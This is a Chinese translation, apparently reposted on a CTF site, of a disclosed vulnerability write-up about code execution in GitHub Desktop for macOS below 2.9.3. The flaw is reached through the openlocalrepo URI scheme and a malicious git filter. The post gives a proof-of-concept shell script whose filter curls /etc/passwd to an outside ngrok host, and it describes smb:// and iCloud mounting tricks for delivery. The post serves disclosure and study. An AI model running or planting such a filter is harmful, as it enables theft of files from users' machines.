GitHub Desktop < 2.9.3 代码执行

渗透技巧 2年前 (2022) admin
609 0 0

今天全世界的目光都聚焦在乌克兰的战场,转发一篇乌克兰安全研究员 Metnёw (@vladimir_metnew) 近日公开的 GitHub Desktop 漏洞报告。似乎没看到国内的 feed 推送这个文章,随手翻译一下。


GitHub Desktop < 2.9.3 代码执行



本译文并不完全按照原文翻译。原文地址


https://github.com/Metnew/write-ups/tree/main/rce-github-desktop-2.9.3


漏洞原理


GitHub Desktop (macOS) 提供一个  URI scheme 接口,当命令为 openlocalrepo 并传入一个本地的路径时,会根据路径名导入 git 仓库。


github-mac://openlocalrepo/<path_to_local_repo>


结合恶意的 .git/config(参考类似案例如 CVE-2019-11229),可以实现任意命令执行。以下代码创建一个具有恶意 git filter 的仓库,不能通过 git clone 触发,但 GitHub Desktop 导入的时候会执行代码。


mkdir -p /tmp/evilcd /tmp/evilgit initcat > ./.git/config<<- EOM[filter "any"]    smudge = curl --data-binary "@/etc/passwd" https://metnew.ngrok.io/smudge    clean = curl --data-binary "@/etc/passwd" https://metnew.ngrok.io/cleanEOMtouch examplegit add ./examplegit commit -m 'commit'echo "*  text  filter=any" > .gitattributes


不过要求目录已经存在本地,这就需要一些其他条件的结合。


Safari 自动解压压缩包


macOS Safari 默认将文件下载到 ~/Downloads/evil。当文件的类型为 zip 时还会自动解压,因此文件夹的位置可以预测。但目前 Safari 取消了静默下载的设计,在网站第一次触发下载请求时会询问用户。此外用户的 $HOME 路径不能在网站中远程获取到,除非结合其他信息泄露漏洞。

smb:// 等远程文件映射


和 Windows 的 UNC 路径类似,在 macOS 10.15 之前,可以通过 /net/hostname/path 的方式自动 mount 远程的 NFS 共享文件夹。这个技巧经常被滥用,因此 macOS 在 10.15 以上版本禁止了 NFS 自动挂载。可以验证你的 /etc/auto_master 文件,在 10.15 之后注释掉了 /net 一行。


另一种需要交互的方式是利用 smb:// 协议。使用 javascript 打开smb://user:passwd@host/share,会调用系统的 Finder 程序访问地址中的 SMB目录。挂载成功之后会自动映射到本地路径 /Volumes/share/evil 下,完全可以预测。我在之前 CVE-2020-9860 的利用也玩了这个技巧。除了 SMB 之外类似的协议还有 afp:// 和 cifs://


这个方式其实也非常鸡肋,需要用户确认三个对话框:


  1. 浏览器弹出 smb:// 协议需要确认

  2. Finder 打开远程目录需要确认

  3. 再算上浏览器跳转 GitHub Desktop 的 url 也要确认


icloud-sharing:// 挂载


这个之前如何假扮一个浏览器 0day 漏洞提到过,只能在启用了 iCloud 的 macOS 上触发。好处是 Safari 到 icloud-sharing 不需要确认,接受文件共享需要确认一次。


GitHub 响应


  • 2021 年 8 月 29 日 报告漏洞

  • 2021 年 9 月 9 日 官方确认漏洞

  • 2021 年 9 月 10 日 释出补丁

  • 2021 年 9 月 10 日 GitHub 给报告者提供了 2,000 美元的赏金


这个漏洞需要多次用户交互确认,所以相比之前的远程代码执行漏洞的赏金低了不少。

原文始发于微信公众号(非尝咸鱼贩):GitHub Desktop < 2.9.3 代码执行

版权声明:admin 发表于 2022年2月25日 上午7:53。
转载请注明:GitHub Desktop < 2.9.3 代码执行 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...